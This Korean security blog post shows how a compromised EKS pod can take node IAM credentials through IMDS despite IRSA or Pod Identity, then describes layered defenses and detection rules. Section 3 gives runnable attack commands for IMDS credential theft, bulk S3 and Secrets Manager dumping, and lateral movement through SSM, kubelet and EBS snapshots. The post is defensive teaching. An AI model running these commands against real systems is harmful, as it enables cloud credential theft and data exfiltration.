EKS Pod에서 IMDS의 Hop이 2일때 일어나는 일들

이군·2026년 4월 2일

Pod별 IAM 권한 분리를 했는데도 뚫리는 이유, 그리고 실질적인 다층 방어 전략


들어가며

EKS(Elastic Kubernetes Service)를 운영하는 조직은 IRSA(IAM Roles for Service Accounts) 또는 2023년 말 출시된 EKS Pod Identity를 도입하여 Pod별 IAM 권한 분리를 구현합니다. 신규 클러스터에서는 Pod Identity가 권장되고, 기존 클러스터는 대부분 IRSA 기반으로 운영 중이죠.

그런데 어느 쪽을 쓰든 한 가지 공통적인 사각지대가 있습니다. 둘 다 IMDS(Instance Metadata Service) 접근을 차단하지 않는다는 것입니다. IRSA는 AWS SDK의 크리덴셜 우선순위를 변경하고, Pod Identity는 EKS Auth API를 통해 크리덴셜을 전달합니다. 하지만 Pod에서 169.254.169.254로 직접 HTTP 요청을 보내는 경로는 어느 방식을 사용하든 그대로 열려있어요.

공격자가 SSRF, RCE, 의존성 취약점 등으로 Pod 내부에서 명령을 실행할 수 있게 되면, IMDS를 통해 Node의 IAM Role 크리덴셜을 획득하고, 컨테이너 탈출 없이도 AWS 인프라 전체에 대한 공격을 수행할 수 있습니다.

이 글에서는 공격의 전체 체인을 단계별로 보여주고, 근본적인 다층 방어 전략을 실제 설정 코드와 함께 정리합니다.


1. 핵심 문제 — IRSA도 Pod Identity도 IMDS를 차단하지 않는다

1.1 EKS Node의 구조

EKS 워커 노드는 EC2 인스턴스입니다. 모든 EC2 인스턴스에는 IMDS가 존재하며, 해당 인스턴스에 붙은 IAM Role의 임시 크리덴셜을 HTTP endpoint(169.254.169.254)로 제공합니다. Pod는 기본적으로 노드의 네트워크를 통해 이 endpoint에 접근할 수 있습니다.

1.2 IRSA와 Pod Identity의 동작 방식

IRSA의 경우, Pod에 환경변수(AWS_ROLE_ARN, AWS_WEB_IDENTITY_TOKEN_FILE)와 JWT 토큰 파일이 주입됩니다. AWS SDK는 크리덴셜 체인(Credential Provider Chain)에서 이 환경변수를 IMDS보다 우선 사용합니다.

Pod Identity의 경우, EKS Pod Identity Agent DaemonSet이 노드에서 실행되며, 169.254.170.23(EKS Auth API)을 통해 Pod에 크리덴셜을 제공합니다. IRSA처럼 JWT 토큰 파일을 마운트하지 않고, Agent가 크리덴셜을 직접 관리하므로 토큰 유출 위험이 줄어듭니다.

1.3 그런데 왜 둘 다 안 되는가

두 방식 모두 "올바른 크리덴셜을 SDK에 제공"하는 메커니즘이지, "잘못된 크리덴셜에 대한 접근을 차단"하는 메커니즘이 아닙니다.

공격자는 SDK를 거치지 않습니다. Pod 내부에서 curl로 IMDS(169.254.169.254)를 직접 호출하면 Node Role 크리덴셜이 그대로 반환됩니다. IRSA든 Pod Identity든, IMDS 경로 자체는 열려있습니다.

Pod → 169.254.169.254 (IMDS) → Node Role 크리덴셜 반환  ← 이 경로를 막지 않음
Pod → 169.254.170.23 (EKS Auth API) → Pod Identity 크리덴셜 반환  ← Pod Identity 경로
Pod → AWS_WEB_IDENTITY_TOKEN_FILE → IRSA 크리덴셜 반환  ← IRSA 경로

1.4 IMDSv2도 해결책이 아닌 이유

IMDSv2를 강제하면 PUT 요청으로 토큰을 먼저 받아야 합니다. 하지만 이 토큰 발급 과정도 Pod 내부에서 그대로 수행 가능합니다:

# IMDSv2 — 두 단계이지만 Pod에서 완전히 동작
TOKEN=$(curl -s -X PUT "http://169.254.169.254/latest/api/token" \
  -H "X-aws-ec2-metadata-token-ttl-seconds: 21600")

curl -s -H "X-aws-ec2-metadata-token: $TOKEN" \
  http://169.254.169.254/latest/meta-data/iam/security-credentials/

IMDSv2는 SSRF 공격의 난이도를 높이는 데 효과적이지만(PUT 요청 + 커스텀 헤더가 필요하므로), Pod 내부에서 직접 실행하는 공격에는 아무런 방어가 되지 않습니다.


2. Node Role에는 어떤 권한이 붙어있는가

2.1 기본 정책

EKS 관리형 노드 그룹을 사용하면 Node Role에 다음 정책이 기본으로 붙습니다:

정책주요 권한공격자 활용
AmazonEKSWorkerNodePolicyec2:Describe*, EKS API인프라 정찰, 전체 노드 목록 파악
AmazonEKS_CNI_Policyec2:*NetworkInterface*, ec2:*PrivateIpAddresses*네트워크 인터페이스 조작, ENI 생성
AmazonEC2ContainerRegistryReadOnlyecr:GetDownloadUrlForLayer, ecr:BatchGetImage다른 서비스의 컨테이너 이미지 Pull → 이미지 내 시크릿 추출

2.2 운영팀이 추가하는 정책들

실무에서는 운영 편의를 위해 Node Role에 추가 권한을 부여하는 경우가 많습니다:

추가 정책이유공격 표면
AmazonSSMManagedInstanceCore노드 관리 편의SSM으로 노드 셸 접근 → 호스트 OS 장악
CloudWatch (logs:*, cloudwatch:*)로그/메트릭 전송로그 그룹 조회 → 민감 로그 열람
EBS CSI (ec2:CreateVolume, ec2:CreateSnapshot)영구 볼륨 관리스냅샷 생성 → 다른 인스턴스에서 마운트
S3 접근 (s3:GetObject)로그 저장, 설정 파일민감 버킷 데이터 유출
Secrets Manager (secretsmanager:GetSecretValue)애플리케이션 시크릿전체 시크릿 덤프

개별적으로는 합리적인 권한이지만, 합치면 S3 접근 + ECR Pull + EBS 스냅샷 생성 + SSM 셸 + 네트워크 인터페이스 조작이라는 상당한 공격 표면이 됩니다.


3. 공격 시나리오 — 전체 체인

3.1 1단계: Pod 침해

웹 애플리케이션의 SSRF 취약점, RCE(Remote Code Execution), 컨테이너 이미지 내 알려진 CVE, 서드파티 라이브러리의 공급망 공격 등으로 공격자가 Pod 내부에서 명령 실행이 가능한 상태가 됩니다.

3.2 2단계: IMDS에서 Node Role 크리덴셜 탈취

# Pod 내부에서 실행

# 1. IMDS에 접근 가능한지 확인
curl -s -o /dev/null -w "%{http_code}" http://169.254.169.254/latest/meta-data/
# 200이면 접근 가능

# 2. Node Role 이름 확인
curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/
# 출력: eks-node-group-role-prod

# 3. 크리덴셜 획득 (IMDSv1인 경우)
curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/eks-node-group-role-prod

# 4. IMDSv2가 강제된 경우 — 여전히 가능
TOKEN=$(curl -s -X PUT "http://169.254.169.254/latest/api/token" \
  -H "X-aws-ec2-metadata-token-ttl-seconds: 21600")

curl -s -H "X-aws-ec2-metadata-token: $TOKEN" \
  http://169.254.169.254/latest/meta-data/iam/security-credentials/eks-node-group-role-prod

응답 예시:

{
  "Code": "Success",
  "LastUpdated": "2026-04-02T08:30:00Z",
  "Type": "AWS-HMAC",
  "AccessKeyId": "ASIAQ3EGXAMPLEKEY",
  "SecretAccessKey": "wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY",
  "Token": "IQoJb3JpZ2luX2VjEGoaDmFwLW5vcnRoZWFzdC0yI...",
  "Expiration": "2026-04-02T14:45:00Z"
}

크리덴셜은 보통 6시간 유효하며, 만료 전에 다시 요청하면 갱신됩니다.

3.3 3단계: AWS 인프라 정찰

# 획득한 크리덴셜 설정
export AWS_ACCESS_KEY_ID="ASIAQ3EGXAMPLEKEY"
export AWS_SECRET_ACCESS_KEY="wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY"
export AWS_SESSION_TOKEN="IQoJb3JpZ2luX2VjEGoaDmFwLW5vcnRoZWFzdC0yI..."

# 현재 Role 확인
aws sts get-caller-identity
# {
#   "Account": "123456789012",
#   "Arn": "arn:aws:sts::123456789012:assumed-role/eks-node-group-role-prod/i-0abc123"
# }

# 같은 클러스터의 모든 노드 조회
aws ec2 describe-instances \
  --filters "Name=tag:eks:cluster-name,Values=prod-cluster" \
  --query 'Reservations[].Instances[].[InstanceId,PrivateIpAddress,IamInstanceProfile.Arn]' \
  --output table

# 계정 내 S3 버킷 목록
aws s3 ls

# ECR 저장소 목록 — 다른 서비스의 이미지 파악
aws ecr describe-repositories \
  --query 'repositories[].[repositoryName,repositoryUri]' \
  --output table

3.4 4단계: 데이터 탈취

# S3에서 민감 데이터 다운로드 (Node Role에 S3 권한이 있는 경우)
aws s3 cp s3://prod-customer-data/exports/ ./stolen/ --recursive
aws s3 cp s3://prod-logs-bucket/application/ ./stolen-logs/ --recursive

# ECR에서 다른 서비스 이미지 Pull → 이미지 레이어에서 시크릿 추출
aws ecr get-login-password --region ap-northeast-2 | \
  docker login --username AWS --password-stdin \
  123456789012.dkr.ecr.ap-northeast-2.amazonaws.com

docker pull 123456789012.dkr.ecr.ap-northeast-2.amazonaws.com/payment-service:latest
docker history --no-trunc payment-service:latest  # .env 파일, 빌드 아규먼트 확인
docker save payment-service:latest | tar -xf -     # 레이어별 파일시스템 분석

# Secrets Manager 접근 (권한이 있는 경우)
for secret in $(aws secretsmanager list-secrets \
  --query 'SecretList[].Name' --output text); do
  echo "=== $secret ==="
  aws secretsmanager get-secret-value \
    --secret-id "$secret" --query 'SecretString' --output text
done

3.5 5단계: Lateral Movement

# EBS 스냅샷 생성 → 다른 인스턴스에 마운트 → 파일시스템 전체 탐색
aws ec2 create-snapshot \
  --volume-id vol-0abc123 \
  --description "routine-backup"

# SSM이 Node Role에 포함된 경우 — 컨테이너가 아닌 호스트 OS에 접근
aws ssm start-session --target i-0abc123
# 호스트에서 kubelet 설정, 모든 Pod의 시크릿, 볼륨 마운트 전부 열람 가능

# kubelet의 API로 같은 노드의 다른 Pod 정보 조회
curl -sk https://localhost:10250/pods | jq '.items[].metadata.name'

# 다른 Pod의 Service Account 토큰 추출 (hostPID가 열려있는 경우)
# → 해당 Pod의 IRSA Role까지 탈취 가능

3.6 6단계: 지속적 접근 확보

# 방법 1: 백도어 컨테이너 배포
# (Node Role로 ECR Push 권한이 있거나, kubectl 접근이 가능한 경우)

# 방법 2: EC2 User Data 확인 → 클러스터 bootstrap 정보 획득
aws ec2 describe-instance-attribute \
  --instance-id i-0abc123 \
  --attribute userData \
  --query 'UserData.Value' --output text | base64 -d
# EKS bootstrap 스크립트에 클러스터 엔드포인트, CA 인증서, 토큰 정보 포함

# 방법 3: 크리덴셜을 외부로 전송 → 만료 전까지 외부에서 접근
# Pod → 공격자 서버로 크리덴셜 exfiltration

4. hop limit = 1로 충분한가?

4.1 hop limit의 동작 원리

aws ec2 modify-instance-metadata-options \
  --instance-id i-0abc123 \
  --http-tokens required \
  --http-put-response-hop-limit 1

hop limit을 1로 설정하면, IMDS 응답의 IP TTL이 1이 됩니다. Pod의 네트워크 트래픽은 veth(Virtual Ethernet) 쌍을 거쳐 노드의 네트워크 네임스페이스로 전달되는데, 이 과정에서 hop이 증가합니다. 결과적으로 Pod에서 보낸 IMDS 요청의 응답이 TTL 만료로 폐기됩니다.

이것은 효과적인 방어입니다. 하지만 다음 예외 상황에서는 우회됩니다.

4.2 우회 케이스들

Case 1: hostNetwork: true Pod

apiVersion: v1
kind: Pod
metadata:
  name: monitoring-agent
spec:
  hostNetwork: true  # 노드 네트워크 직접 사용 → hop 증가 없음
  containers:
    - name: agent
      image: monitoring:latest

hostNetwork: true인 Pod는 노드의 네트워크 네임스페이스를 직접 사용하므로 veth를 거치지 않습니다. hop이 증가하지 않아 hop limit 1이어도 IMDS에 접근 가능합니다. 모니터링 에이전트, 로그 수집기, 네트워크 플러그인 등이 흔히 이 설정을 사용합니다.

Case 2: hostPID 또는 hostIPC를 사용하는 Pod

spec:
  hostPID: true   # 노드의 프로세스 네임스페이스 공유

직접 IMDS에 접근하지는 않지만, 호스트의 프로세스에 접근할 수 있으므로 다른 경로로 크리덴셜을 추출할 가능성이 있습니다.

Case 3: EKS 관리형 노드 그룹의 기본값

EKS 관리형 노드 그룹을 콘솔에서 생성하면 hop limit 기본값이 2입니다. 명시적으로 Launch Template을 커스텀하여 1로 변경해야 합니다. 많은 조직이 이 기본값을 인지하지 못하고 있습니다.

Case 4: Karpenter 프로비저닝 노드

Karpenter로 노드를 프로비저닝하는 경우, EC2NodeClass에서 별도로 httpPutResponseHopLimit: 1을 설정해야 합니다. Karpenter의 기본값도 EC2 기본값(hop limit 2)을 따릅니다.


5. 방어 전략 — 다층 접근

단일 방어로는 충분하지 않습니다. 각 레이어가 독립적으로 공격을 차단할 수 있도록 설계해야 합니다.

5.1 Layer 1: IMDS hop limit 설정

EKS 관리형 노드 그룹 — Launch Template

{
  "LaunchTemplateData": {
    "MetadataOptions": {
      "HttpTokens": "required",
      "HttpPutResponseHopLimit": 1,
      "HttpEndpoint": "enabled",
      "InstanceMetadataTags": "disabled"
    }
  }
}

Karpenter — EC2NodeClass

# Karpenter v1 (1.0+). 이전 버전은 karpenter.k8s.aws/v1beta1 사용
apiVersion: karpenter.k8s.aws/v1
kind: EC2NodeClass
metadata:
  name: default
spec:
  metadataOptions:
    httpEndpoint: enabled
    httpProtocolIPv6: disabled
    httpPutResponseHopLimit: 1
    httpTokens: required
  # 기타 설정...
  subnetSelectorTerms:
    - tags:
        karpenter.sh/discovery: prod-cluster
  securityGroupSelectorTerms:
    - tags:
        karpenter.sh/discovery: prod-cluster

Self-managed 노드 그룹 — User Data

#!/bin/bash
# EC2 인스턴스 시작 시 IMDS 설정 강제
INSTANCE_ID=$(curl -s http://169.254.169.254/latest/meta-data/instance-id)
aws ec2 modify-instance-metadata-options \
  --instance-id "$INSTANCE_ID" \
  --http-tokens required \
  --http-put-response-hop-limit 1

# EKS bootstrap
/etc/eks/bootstrap.sh prod-cluster

5.2 Layer 2: Network Policy로 일반 Pod의 IMDS 차단

hop limit과 함께 Network Policy를 적용하면 일반 Pod에 대한 이중 방어가 됩니다. Calico 또는 Cilium이 설치되어 있어야 합니다.

중요: Network Policy는 hostNetwork: true Pod에는 적용되지 않습니다. Network Policy는 Pod 네트워크 네임스페이스에서 동작하는데, hostNetwork Pod는 호스트 네트워크 네임스페이스를 직접 사용하기 때문입니다. hostNetwork Pod에 대한 방어는 Layer 3(iptables)에서 처리합니다.

전체 클러스터 기본 차단 정책

apiVersion: networking.k8s.io/v1
kind: NetworkPolicy
metadata:
  name: deny-imds-access
  namespace: default  # 각 네임스페이스마다 적용 필요
spec:
  podSelector: {}     # 해당 네임스페이스의 모든 Pod
  policyTypes:
    - Egress
  egress:
    # 모든 목적지 허용하되, IMDS만 제외
    - to:
        - ipBlock:
            cidr: 0.0.0.0/0
            except:
              - 169.254.169.254/32

kube-system의 시스템 Pod 예외 처리

aws-node(VPC CNI), kube-proxy 등 시스템 컴포넌트는 정상 동작을 위해 IMDS에 접근해야 합니다:

apiVersion: networking.k8s.io/v1
kind: NetworkPolicy
metadata:
  name: allow-imds-for-aws-node
  namespace: kube-system
spec:
  podSelector:
    matchLabels:
      k8s-app: aws-node
  policyTypes:
    - Egress
  egress:
    # IMDS 접근 허용
    - to:
        - ipBlock:
            cidr: 169.254.169.254/32
      ports:
        - protocol: TCP
          port: 80
    # 나머지 트래픽도 허용
    - to:
        - ipBlock:
            cidr: 0.0.0.0/0

자동화 — 모든 네임스페이스에 일괄 적용

#!/bin/bash
# 모든 네임스페이스에 IMDS 차단 Network Policy 적용

EXCLUDED_NS="kube-system kube-node-lease kube-public"

for ns in $(kubectl get ns -o jsonpath='{.items[*].metadata.name}'); do
  if echo "$EXCLUDED_NS" | grep -qw "$ns"; then
    echo "Skipping system namespace: $ns"
    continue
  fi

  echo "Applying IMDS deny policy to: $ns"
  cat <<EOF | kubectl apply -f -
apiVersion: networking.k8s.io/v1
kind: NetworkPolicy
metadata:
  name: deny-imds-access
  namespace: $ns
spec:
  podSelector: {}
  policyTypes:
    - Egress
  egress:
    - to:
        - ipBlock:
            cidr: 0.0.0.0/0
            except:
              - 169.254.169.254/32
EOF
done

5.3 Layer 3: iptables로 hostNetwork Pod 차단

각 레이어의 커버 범위를 정확히 이해해야 합니다:

방어 레이어일반 PodhostNetwork Pod
hop limit = 1✅ 차단 (veth hop 증가)❌ 미차단 (호스트 네임스페이스)
Network Policy✅ 차단 (Pod 네임스페이스)❌ 미차단 (호스트 네임스페이스)
iptables OUTPUT❌ 미해당 (FORWARD 경유)✅ 차단 (호스트 네임스페이스)

일반 Pod의 트래픽은 호스트의 FORWARD 체인을 통과하므로 OUTPUT 체인 규칙이 적용되지 않습니다. 반면 hostNetwork: true Pod는 호스트 네트워크 네임스페이스를 공유하므로 OUTPUT 체인 규칙이 적용됩니다. 따라서 iptables는 hop limit과 Network Policy가 막지 못하는 hostNetwork Pod를 보완하는 레이어입니다.

#!/bin/bash
# EKS 노드의 User Data 또는 DaemonSet으로 적용

# root(uid 0)만 IMDS 접근 허용
# kubelet, aws-node(VPC CNI) 등 시스템 컴포넌트는 모두 root로 실행됨
# hostNetwork: true이면서 non-root로 실행되는 Pod의 IMDS 접근을 차단
iptables -I OUTPUT -t filter \
  -d 169.254.169.254 \
  -m owner ! --uid-owner 0 \
  -j DROP

# 규칙 확인
iptables -L OUTPUT -t filter -n -v | grep 169.254

DaemonSet으로 배포하여 모든 노드에 자동 적용:

apiVersion: apps/v1
kind: DaemonSet
metadata:
  name: imds-blocker
  namespace: kube-system
spec:
  selector:
    matchLabels:
      app: imds-blocker
  template:
    metadata:
      labels:
        app: imds-blocker
    spec:
      hostNetwork: true
      initContainers:
        - name: setup-iptables
          image: public.ecr.aws/amazonlinux/amazonlinux:2023
          securityContext:
            privileged: true
            capabilities:
              add: ["NET_ADMIN"]
          command:
            - /bin/sh
            - -c
            - |
              # hostNetwork Pod 중 non-root 프로세스의 IMDS 접근 차단
              iptables -C OUTPUT -t filter -d 169.254.169.254 \
                -m owner ! --uid-owner 0 \
                -j DROP 2>/dev/null || \
              iptables -I OUTPUT -t filter -d 169.254.169.254 \
                -m owner ! --uid-owner 0 \
                -j DROP
              echo "IMDS blocking rule applied"
      containers:
        - name: pause
          image: public.ecr.aws/eks-distro/kubernetes/pause:3.7
          resources:
            requests:
              cpu: 1m
              memory: 4Mi
      tolerations:
        - operator: Exists

한계: 이 규칙은 hostNetwork: true이면서 root(uid 0)로 실행되는 Pod는 막을 수 없습니다. 시스템 컴포넌트(kubelet, aws-node)도 root로 실행되기 때문에 uid 0을 차단할 수 없어요. 따라서 hostNetwork + root 조합의 Pod는 Pod Security Standards로 생성 자체를 제한하는 것이 최선입니다(섹션 6 참고).

5.4 Layer 4: Node Role 권한 최소화

모든 IMDS 차단 방어가 우회될 가능성에 대비해, Node Role 자체의 권한을 줄여야 합니다. VPC CNI, EBS CSI, CloudWatch Agent 등을 IRSA 또는 Pod Identity로 분리합니다.

VPC CNI를 IRSA로 분리

# CNI 전용 IAM Role 생성 + Service Account 연동
eksctl create iamserviceaccount \
  --name aws-node \
  --namespace kube-system \
  --cluster prod-cluster \
  --role-name eks-vpc-cni-role \
  --attach-policy-arn arn:aws:iam::aws:policy/AmazonEKS_CNI_Policy \
  --override-existing-serviceaccounts \
  --approve

# 이후 Node Role에서 AmazonEKS_CNI_Policy 제거
aws iam detach-role-policy \
  --role-name eks-node-group-role-prod \
  --policy-arn arn:aws:iam::aws:policy/AmazonEKS_CNI_Policy

EBS CSI Driver를 IRSA로 분리

eksctl create iamserviceaccount \
  --name ebs-csi-controller-sa \
  --namespace kube-system \
  --cluster prod-cluster \
  --role-name eks-ebs-csi-role \
  --attach-policy-arn arn:aws:iam::aws:policy/service-role/AmazonEBSCSIDriverPolicy \
  --override-existing-serviceaccounts \
  --approve

최소화된 Node Role 정책

{
  "Version": "2012-10-17",
  "Statement": [
    {
      "Sid": "MinimalNodePermissions",
      "Effect": "Allow",
      "Action": [
        "ec2:DescribeInstances",
        "ec2:DescribeInstanceTypes",
        "ec2:DescribeRouteTables",
        "ec2:DescribeSecurityGroups",
        "ec2:DescribeSubnets",
        "ec2:DescribeVolumes",
        "ec2:DescribeVolumesModifications",
        "ec2:DescribeVpcs",
        "eks:DescribeCluster"
      ],
      "Resource": "*"
    },
    {
      "Sid": "ECRReadOnly",
      "Effect": "Allow",
      "Action": [
        "ecr:GetAuthorizationToken",
        "ecr:BatchCheckLayerAvailability",
        "ecr:GetDownloadUrlForLayer",
        "ecr:BatchGetImage"
      ],
      "Resource": "*"
    }
  ]
}

Node Role에 SSM, S3, Secrets Manager 등의 권한이 없으면, IMDS를 통해 크리덴셜을 탈취해도 공격자가 할 수 있는 일이 극히 제한됩니다.

5.5 Layer 5: EKS Pod Identity 전환 — 크리덴셜 관리 개선 (IMDS와는 별개)

Pod Identity는 AWS가 현재 권장하는 방식으로, IRSA 대비 크리덴셜 관리가 개선됩니다. 신규 클러스터라면 Pod Identity를, 기존 IRSA 클러스터라면 점진적 전환을 권장합니다. 다만 IMDS 문제 자체를 해결하는 것은 아니므로, Layer 1~3은 여전히 필수입니다.

# EKS Pod Identity Agent 설치 (EKS Add-on)
aws eks create-addon \
  --cluster-name prod-cluster \
  --addon-name eks-pod-identity-agent

# Pod Identity Association 생성
aws eks create-pod-identity-association \
  --cluster-name prod-cluster \
  --namespace app \
  --service-account app-service-account \
  --role-arn arn:aws:iam::123456789012:role/app-pod-role
apiVersion: v1
kind: ServiceAccount
metadata:
  name: app-service-account
  namespace: app
  # IRSA와 달리 annotation 불필요
  # Pod Identity Agent가 자동으로 크리덴셜 주입

Pod Identity의 보안 장점:

  • 크리덴셜이 Pod Identity Agent(DaemonSet)를 통해 전달되므로 JWT 토큰이 파일시스템에 마운트되지 않음
  • OIDC Provider 설정 없이 구성 가능 → 설정 실수 감소
  • Service Account Token의 cross-cluster 남용 경로가 원천 차단
  • IAM Role의 Trust Policy가 간소화 (pods.eks.amazonaws.com 서비스 Principal 사용)

중요: Pod Identity를 적용해도 IMDS 접근 자체는 여전히 가능합니다. Pod Identity는 "올바른 크리덴셜 전달 방식"을 제공할 뿐, IMDS를 통한 Node Role 탈취를 막지 않습니다. 따라서 Layer 1~3의 IMDS 차단은 Pod Identity 환경에서도 필수입니다.


6. hostNetwork Pod 보안 감사

hostNetwork: true Pod는 hop limit 방어를 우회하므로 특별 관리가 필요합니다.

6.1 현재 클러스터의 hostNetwork Pod 감사

#!/bin/bash
echo "=== Pods with hostNetwork: true ==="
kubectl get pods --all-namespaces -o json | jq -r '
  .items[] |
  select(.spec.hostNetwork == true) |
  "\(.metadata.namespace)/\(.metadata.name) | SA: \(.spec.serviceAccountName) | Image: \(.spec.containers[0].image)"
'

echo -e "\n=== Pods with hostPID: true ==="
kubectl get pods --all-namespaces -o json | jq -r '
  .items[] |
  select(.spec.hostPID == true) |
  "\(.metadata.namespace)/\(.metadata.name)"
'

echo -e "\n=== Pods with privileged containers ==="
kubectl get pods --all-namespaces -o json | jq -r '
  .items[] |
  .metadata as $meta |
  .spec.containers[] |
  select(.securityContext.privileged == true) |
  "\($meta.namespace)/\($meta.name) | Container: \(.name)"
'

6.2 Pod Security Standards로 hostNetwork 제한

apiVersion: v1
kind: Namespace
metadata:
  name: app
  labels:
    # Baseline 수준: hostNetwork, hostPID, privileged 등 차단
    pod-security.kubernetes.io/enforce: baseline
    pod-security.kubernetes.io/audit: restricted
    pod-security.kubernetes.io/warn: restricted

baseline 수준을 적용하면 hostNetwork: true, hostPID: true, privileged: true 등의 Pod가 해당 네임스페이스에서 생성되지 않습니다. kube-system은 시스템 컴포넌트가 이런 권한을 필요로 하므로 예외 처리가 필요합니다.


7. 탐지 방법

7.1 CloudTrail — Node Role의 비정상 API 호출 탐지

Node Role 크리덴셜은 정상적으로 kubelet, VPC CNI 등 시스템 컴포넌트만 사용합니다. 아래 API가 Node Role로 호출되면 높은 확률로 IMDS를 통한 크리덴셜 탈취입니다:

API 호출정상 여부의미
s3:GetObject, s3:ListBucket비정상S3 데이터 유출 시도
secretsmanager:GetSecretValue비정상시크릿 덤프 시도
ssm:StartSession비정상다른 노드로 lateral movement
ec2:CreateSnapshot비정상EBS 스냅샷 탈취
sts:AssumeRole주의다른 Role로 권한 상승 시도
ec2:DescribeInstances정상kubelet이 사용
ecr:GetDownloadUrlForLayer정상이미지 Pull

7.2 OpenSearch 탐지 쿼리

{
  "query": {
    "bool": {
      "must": [
        {
          "wildcard": {
            "userIdentity.arn": "*eks-node-group-role*"
          }
        },
        {
          "terms": {
            "eventName": [
              "GetObject",
              "ListBuckets",
              "PutObject",
              "GetSecretValue",
              "ListSecrets",
              "StartSession",
              "CreateSnapshot",
              "AssumeRole",
              "GetAuthorizationToken"
            ]
          }
        }
      ],
      "must_not": [
        {
          "terms": {
            "eventName": [
              "DescribeInstances",
              "DescribeInstanceTypes",
              "GetDownloadUrlForLayer",
              "BatchGetImage",
              "BatchCheckLayerAvailability"
            ]
          }
        }
      ],
      "filter": [
        { "range": { "@timestamp": { "gte": "now-24h" }}}
      ]
    }
  }
}

7.3 EventBridge 실시간 알림

{
  "source": ["aws.sts"],
  "detail-type": ["AWS API Call via CloudTrail"],
  "detail": {
    "eventName": ["AssumeRole"],
    "userIdentity": {
      "arn": [
        {
          "prefix": "arn:aws:sts::123456789012:assumed-role/eks-node-group-role"
        }
      ]
    }
  }
}

Node Role이 다른 Role을 assume하려는 시도를 실시간으로 잡습니다. 정상적인 EKS 운영에서 Node Role이 AssumeRole을 호출할 일은 없습니다.

7.4 GuardDuty EKS 보호 활성화

GuardDuty의 EKS 보호 기능을 활성화하면 Kubernetes Audit Log를 분석하여 다음을 탐지합니다:

  • 비정상적인 API 서버 접근 패턴
  • 알려진 공격 도구의 실행
  • 권한 상승 시도
  • 의심스러운 컨테이너 이미지 실행
aws guardduty update-detector \
  --detector-id abc123 \
  --features '[
    {
      "Name": "EKS_AUDIT_LOGS",
      "Status": "ENABLED"
    },
    {
      "Name": "EKS_RUNTIME_MONITORING",
      "Status": "ENABLED",
      "AdditionalConfiguration": [
        {
          "Name": "EKS_ADDON_MANAGEMENT",
          "Status": "ENABLED"
        }
      ]
    }
  ]'

8. 방어 체크리스트

즉시 조치 (Today)

  • 현재 노드의 IMDS hop limit 값 확인 (aws ec2 describe-instancesMetadataOptions)
  • hostNetwork: true로 실행 중인 Pod 목록 감사
  • Node Role에 붙어있는 IAM 정책 전체 확인

단기 조치 (This Sprint)

  • IMDS hop limit을 1로 변경 (Launch Template / EC2NodeClass)
  • IMDSv2 강제 (HttpTokens: required)
  • 애플리케이션 네임스페이스에 IMDS 차단 Network Policy 적용
  • Pod Security Standards baseline 적용 (비시스템 네임스페이스)

중기 조치 (This Quarter)

  • VPC CNI, EBS CSI 등 시스템 컴포넌트를 IRSA / Pod Identity로 분리
  • Node Role 권한을 최소 필수(EC2 Describe + ECR Read)로 축소
  • CloudTrail에서 Node Role의 비정상 API 호출 탐지 룰 적용
  • GuardDuty EKS 보호 + Runtime Monitoring 활성화
  • hostNetwork Pod 대응용 iptables DaemonSet 배포

장기 조치 (Ongoing)

  • IRSA 사용 중인 경우 Pod Identity 전환 검토 (단, IMDS 방어는 별도 필수)
  • 새로운 워크로드 배포 시 "Node Role 권한 의존성" 체크 프로세스 수립
  • hostNetwork: true Pod 신규 배포 시 보안 리뷰 필수화
  • OpenSearch 기반 Node Role 사용 패턴 대시보드 운영

마치며

EKS 보안에서 IRSA나 Pod Identity 도입은 중요한 첫걸음이지만, 그것만으로는 충분하지 않습니다. 둘 다 "올바른 크리덴셜을 제공"하는 메커니즘이지, "IMDS를 통한 Node Role 접근을 차단"하는 메커니즘이 아닙니다.

핵심은 다층 방어입니다.

첫째, IMDS 접근 자체를 차단합니다. hop limit 1과 Network Policy로 일반 Pod를 이중 차단하고, iptables OUTPUT 규칙으로 hostNetwork Pod를 추가 차단합니다. 각 레이어가 커버하는 범위가 다르므로 조합해야 빈틈이 없어집니다.

둘째, Node Role 권한을 최소화합니다. 모든 차단이 우회되더라도, Node Role에 위험한 권한이 없으면 피해 범위가 극히 제한됩니다. VPC CNI, EBS CSI 등을 IRSA나 Pod Identity로 분리하면 Node Role을 Describe + ECR Read 수준까지 줄일 수 있습니다.

셋째, 비정상 사용을 탐지합니다. Node Role로 GetSecretValue, StartSession, CreateSnapshot 같은 API가 호출되면 그 자체가 사고입니다. CloudTrail + OpenSearch로 실시간 감시하면 침해 초기에 대응할 수 있습니다.

컨테이너 보안은 "컨테이너 안"만 보면 안 됩니다. 컨테이너가 실행되는 인프라(EC2, IAM, 네트워크)와의 경계가 실제 공격 표면이 되기 때문입니다.

profile
이군의 보안, 그리고 생각을 다룹니다.

0개의 댓글